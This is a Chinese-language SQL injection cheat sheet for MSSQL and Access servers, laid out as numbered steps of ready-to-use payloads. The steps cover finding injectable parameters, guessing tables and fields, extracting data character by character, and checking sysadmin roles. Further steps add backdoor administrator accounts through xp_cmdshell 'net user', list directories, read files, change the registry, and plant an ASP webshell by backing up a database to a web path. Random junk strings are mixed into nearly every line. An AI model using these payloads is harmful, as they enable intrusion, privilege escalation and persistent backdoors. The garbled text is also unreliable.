1.判断是否有注入;and 1=1 ;and 1=2 T`":Q1n
2.初步判断是否是mssql ;and user>0 ))f@9m
BqX"La,
3.注入参数是字符'and [查询条件] and ''=' -0kMh.JYR
$<nRW*d
4.搜索时没过滤参数的'and [查询条件] and '%25'=' %W\NYSm
hmo4H3g!N
5.判断数据库系统 S',h*e
cB){b'WJ
;and (select count(*) from sysobjects)>0 mssql r=0PW_r:
|ugdl|f
;and (select count(*) from msysobjects)>0 access 5>.ATfAsV
Ie/_gz^
gfj_]
(m:Q'4Ep
6.猜数据库 ;and (select Count(*) from [数据库名])>0 ) hs&?:)
6E-eD\?I&
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 JCnHEH
O}zHkcL
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 npltsK):
4 H0rS'5d
9.(1)猜字段的ascii值(access) YiO}"
<b,WxR`
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 2PyuM=(Wt
s_/@`kd{
(2)猜字段的ascii值(mssql) t2)uJN`a$X
f?tU5EX
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 Q4-d|
7FcZxu\
10.测试权限结构(mssql) (0q`eO2
z2YYxJc&w
m_oUl(pk
=Pw{1m|k
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- #X'-/q`.
@[9
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- U<0Wa>3zj
8(Te^] v#
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- }.)R#hG?
>8I~i:hn
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- /B?wn=][
aC2Vz9e
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 8QJr!#u
jFdgFKc)
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- OP=brLGu0
en'[_43
;and 1=(select IS_MEMBER('db_owner'));-- HJN GO[*g
~/K&=xE
NzyEsZ]$
ai$l7]7
11.添加mssql和系统的帐户 pP":,8Q{
qfl!>
;exec master.dbo.sp_addlogin username;-- KJoa^e;~
;exec master.dbo.sp_password null,username,password;-- hbJy<e1W
'uL$j=vB
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- yg'CL/P
j[gqS%
;exec master.dbo.xp_cmdshell 'net user username password 9`/e=RL
,dQ*0XO!
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 8iY.!.G#|
*Ci&1Mu^Z
;exec master.dbo.xp_cmdshell 'net user username password /add';-- Al*=%nY
j1g$LAe
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 4bGvkxZo`$
9ns( F:
wsB-(
0-
{l$)X
12.(1)遍历目录 Ur< (TM
Sy <E@1
;create table dirs(paths varchar(100), id int) ty['yV-;a
`PtB2,?
;insert dirs exec master.dbo.xp_dirtree 'c:\' dNf9,P_}
+BtLd+)R
;and (select top 1 paths from dirs)>0 .jqil0#)Y"
]I,&Bme
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) /r'Fq
=z
>$rH,Er
}w35fG^
]lfufjj
(2)遍历目录 Hif|z[0$
xI?'Nh
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 9?ll(5E
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 A]0R?N9wb_
|+Rx)
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 v1yB
!%t@wQ]\hG
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 `;}qjm0a
nw/g[/<;
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 Zc_F"KJL
vo
}4N[]Sb
Kn$E{ F\
.jP|b~
13.mssql中的存储过程 P??P"^hU
-
i2^ eZl
xp_regenumvalues 注册表根键, 子键 .$cX:"_Mk
""
^n^$
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 /7Sg/d%c
U~yPQ8jD
xp_regread 根键,子键,键值名 wS|k3^OV%
',[AKXJ
;exec xp_regread l^bak]9 1
vqT)=ZC1
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 E.m2- P;4
>wqWIw.w>
xp_regwrite 根键,子键, 值名, 值类型, 值 >V)#y$Z
apJXRH`
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 "})OLa
nnRb
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 YR\(*LJL
[AFR \{
xp_regdeletevalue 根键,子键,值名 63\
CE_p
j-J/yhWO&
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 Bj6%mI42hl
NKFeND
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 )
4t%?wT
#s\yO~F-
`dX0F=Ag?
6W YVHG
14.mssql的backup创建webshell Z"Lr5'}
=jm\8sl~~
use model Ew.6y=Ba
w]xr
~D+
create table cmd(str image); #lMIs4i.
Es}`SIe/
insert into cmd(str) values (''); H'$H@Kn]-
GBS+ 4xL|
backup database model to disk='c:\l.asp'; GJU(1%-
imM#zy
9f&
!Uw_W
X*7VDt=
15.mssql内置函数 ,tZL"
vAG|Y'aO@%
;and (select @@version)>0 获得Windows的版本号 /:
-&b#+
h]i vXF*
;and user_name()='dbo' 判断当前系统的连接用户是不是sa ^ux'-/
\kI{#
;and (select user_name())>0 爆当前系统的连接用户 ib> ~3s;
D{d%*hlI 3
;and (select db_name())>0 得到当前连接的数据库 '?I3&lYz{
I4qS8~+#
y~OP9Tg
^pY8'LF6
16.简洁的webshell @6!Myez'
e+#k\x
use model op-\|<i
:>ca).cjac
create table cmd(str image); h4ntjk|{i7
7zN7PHT=$t
insert into cmd(str) values (''); WCqa[=v)t
hc]p^/H
backup database model to disk='g:\wwwtest\l.asp';